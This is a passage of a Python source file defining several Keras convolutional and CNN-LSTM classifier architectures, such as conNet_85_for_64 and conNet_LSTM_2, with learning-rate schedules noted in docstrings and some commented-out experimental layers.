kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # =============================================== # Dropout layer # =============================================== # dropout = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_75_for_64(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(96, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 4 # =============================================== x4 = Conv2D(192, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv4')(x2) x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) x4 = Activation('relu', name='relu4')(x4) if pool == "max": x4 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool4")(x4) elif pool == "avg": x4 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool4")(x4) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x4) x3 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', # strides=(2,1), name='conv3_2')(x3) # shortcut = Conv2D(256, (1, 1), # strides=(2, 1), # kernel_initializer='orthogonal', # use_bias=False, # trainable=True, # kernel_regularizer=l2(weight_decay), # name="shortcut")(x2) # x3 = layers.add([x3, shortcut]) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # =============================================== # Dense layer # =============================================== dense1 = Dense(256, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # =============================================== # Dropout layer # =============================================== # dropout = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_85_for_64(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(96, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 4 # =============================================== x3 = Conv2D(192, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) # x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) shortcut = Conv2D(256, (1, 1), strides=(2, 1), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), name="shortcut")(x2) # shortcut = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3_shortcut', trainable=True)(shortcut, training=False) x3 = layers.add([x3, shortcut]) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(256, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # dense1 = BatchNormalization(axis=-1, epsilon=1e-5, momentum=1, name='fc1_bn', trainable=True)(dense1, training=False) # dense1 = Activation('relu', name='fc1_relu')(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_to_be_continued(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(64,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(192, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 4 # =============================================== x3 = Conv2D(384, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(512, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(512, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # dense1 = BatchNormalization(axis=-1, epsilon=1e-5, momentum=1, name='fc1_bn', trainable=True)(dense1, training=False) # dense1 = Activation('relu', name='fc1_relu')(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_79_for_128(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(96, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 4 # =============================================== x3 = Conv2D(192, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(256, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # dense1 = BatchNormalization(axis=-1, epsilon=1e-5, momentum=1, name='fc1_bn', trainable=True)(dense1, training=False) # dense1 = Activation('relu', name='fc1_relu')(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_70_shortCut(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1_1 = Conv2D(32,(1,1), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1')(inputs) x1_1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_1', trainable=True)(x1_1, training=False) x1_1 = Activation('relu', name='relu1_1')(x1_1) # =============================================== x1_2 = Conv2D(32, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_2')(x1_1) x1_2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_2', trainable=True)(x1_2, training=False) # =============================================== x1_shortcut = Conv2D(32, (1,1), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_shortcut')(inputs) x1_shortcut = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_shortcut', trainable=True)(x1_shortcut, training=False) # =============================================== x1 = layers.add([x1_2, x1_shortcut]) x1 = Activation('relu', name='relu1')(x1) # =============================================== if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2_1 = Conv2D(64, (1, 1), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2_1')(x1) x2_1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2_1', trainable=True)(x2_1, training=False) x2_1 = Activation('relu', name='relu2_1')(x2_1) # =============================================== x2_2 = Conv2D(64, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2_2')(x2_1) x2_2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2_2', trainable=True)(x2_2, training=False) # =============================================== x2_shortcut = Conv2D(64, (1, 1), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2_shortcut')(x1) x2_shortcut = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2_shortcut', trainable=True)(x2_shortcut,training=False) # =============================================== x2 = layers.add([x2_2, x2_shortcut]) x2 = Activation('relu', name='relu2')(x2) # =============================================== if pool == "max": x2 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 3 # =============================================== # x4 = Conv2D(160, (3, 3), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # name='conv4_1')(x3) # x4 = Conv2D(192, (3, 3), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # # strides=(2, 1), # name='conv4_2')(x4) # x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) # x4 = Activation('relu', name='relu4')(x4) # if pool == "max": # x4 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool4")(x4) # elif pool == "avg": # x4 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(256, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # dense1 = BatchNormalization(axis=-1, epsilon=1e-5, momentum=1, name='fc1_bn', trainable=True)(dense1, training=False) # dense1 = Activation('relu', name='fc1_relu')(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_for_128(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(64,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(96, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(192, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(192, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # dense1 = BatchNormalization(axis=-1, epsilon=1e-5, momentum=1, name='fc1_bn', trainable=True)(dense1, training=False) # dense1 = Activation('relu', name='fc1_relu')(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def trans(x): return tf.transpose(x, perm=[0, 2, 1]) def conNet_LSTM_2(input_shape,weight_decay,pool): # =============================================== # train: 0 ~ 30 0.001 # 35 ~ 85 0.0001 # 90 ~ 115 0.00006(2) # =============================================== # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1_1 # =============================================== x1_1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1_1')(inputs) x1_1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_1', trainable=True)(x1_1, training=False) x1_1 = Activation('relu', name='relu1_1')(x1_1) if pool == "max": x1_1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1_1")(x1_1) elif pool == "avg": x1_1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1_1")(x1_1) # =============================================== # Convolution Block 1_2 # =============================================== # x1_2 = Conv2D(16, (1,1), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # name='conv1_2_1')(inputs) # x1_2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_2', trainable=True)(x1_2, training=False) # x1_2 = Activation('relu', name='relu1_2')(x1_2) # if pool == "max": # x1_2 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1_2")(x1_2) # elif pool == "avg": # x1_2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1_2")(x1_2) # =============================================== # Convolution Block 1_link # =============================================== # x1 = concatenate([x1_1, x1_2], axis=-1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1_1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(96, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== # a1 = GlobalAveragePooling2D(name='avg_pool')(x3) a2 = Reshape((38, 128), name='reshape')(x3) # transpose = Lambda(trans)(a2) # =============================================== # Dense layer # =============================================== # dense1 = Dense(128, activation='relu', # kernel_initializer='orthogonal', # use_bias=True, trainable=True, # kernel_regularizer=l2(weight_decay), # bias_regularizer=l2(weight_decay), # name='fc1')(a1) # =============================================== # LSTM layer # =============================================== lstm = LSTM(128,dropout=0.2,recurrent_dropout=0.2,name = "lstm_1")(a2) lstm = BatchNormalization(name='bn_lstm', trainable=True)(lstm, training=False) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(lstm) m = Model(inputs, s1, name='conNet') return m def conNet_LSTM_1(input_shape,weight_decay,pool): # =============================================== # train: 0 ~ 30 0.001 # 35 ~ 85 0.0001 # 90 ~ 115 0.00006(2) # =============================================== # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1_1 # =============================================== x1_1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1_1')(inputs) x1_1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_1', trainable=True)(x1_1, training=False) x1_1 = Activation('relu', name='relu1_1')(x1_1) if pool == "max": x1_1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1_1")(x1_1) elif pool == "avg": x1_1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1_1")(x1_1) # =============================================== # Convolution Block 1_2 # =============================================== # x1_2 = Conv2D(16, (1,1), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # name='conv1_2_1')(inputs) # x1_2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_2', trainable=True)(x1_2, training=False) # x1_2 = Activation('relu', name='relu1_2')(x1_2) # if pool == "max": # x1_2 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1_2")(x1_2) # elif pool == "avg": # x1_2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1_2")(x1_2) # =============================================== # Convolution Block 1_link # =============================================== # x1 = concatenate([x1_1, x1_2], axis=-1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1_1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(96, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== # a1 = GlobalAveragePooling2D(name='avg_pool')(x3) a2 = Reshape((38, 128), name='reshape')(x3) # transpose = Lambda(trans)(a2) # =============================================== # Dense layer # =============================================== # dense1 = Dense(128, activation='relu', # kernel_initializer='orthogonal', # use_bias=True, trainable=True, # kernel_regularizer=l2(weight_decay), # bias_regularizer=l2(weight_decay), # name='fc1')(a1) # =============================================== # LSTM layer # =============================================== lstm = LSTM(128,Dropout=0.2,recurrent_dropout=0.2,name = "lstm_1")(a2) lstm = BatchNormalization(name='bn_lstm', trainable=True)(lstm, training=False) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(lstm) m = Model(inputs, s1, name='conNet') return m def conNet_f_vgg(input_shape,weight_decay,pool): # input_shape = (13,300,1) # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(64,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(128, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(1,2), name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block link # =============================================== # x3 = Conv2D(256, (3,3), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # name='conv3_1')(x2) # x3 = 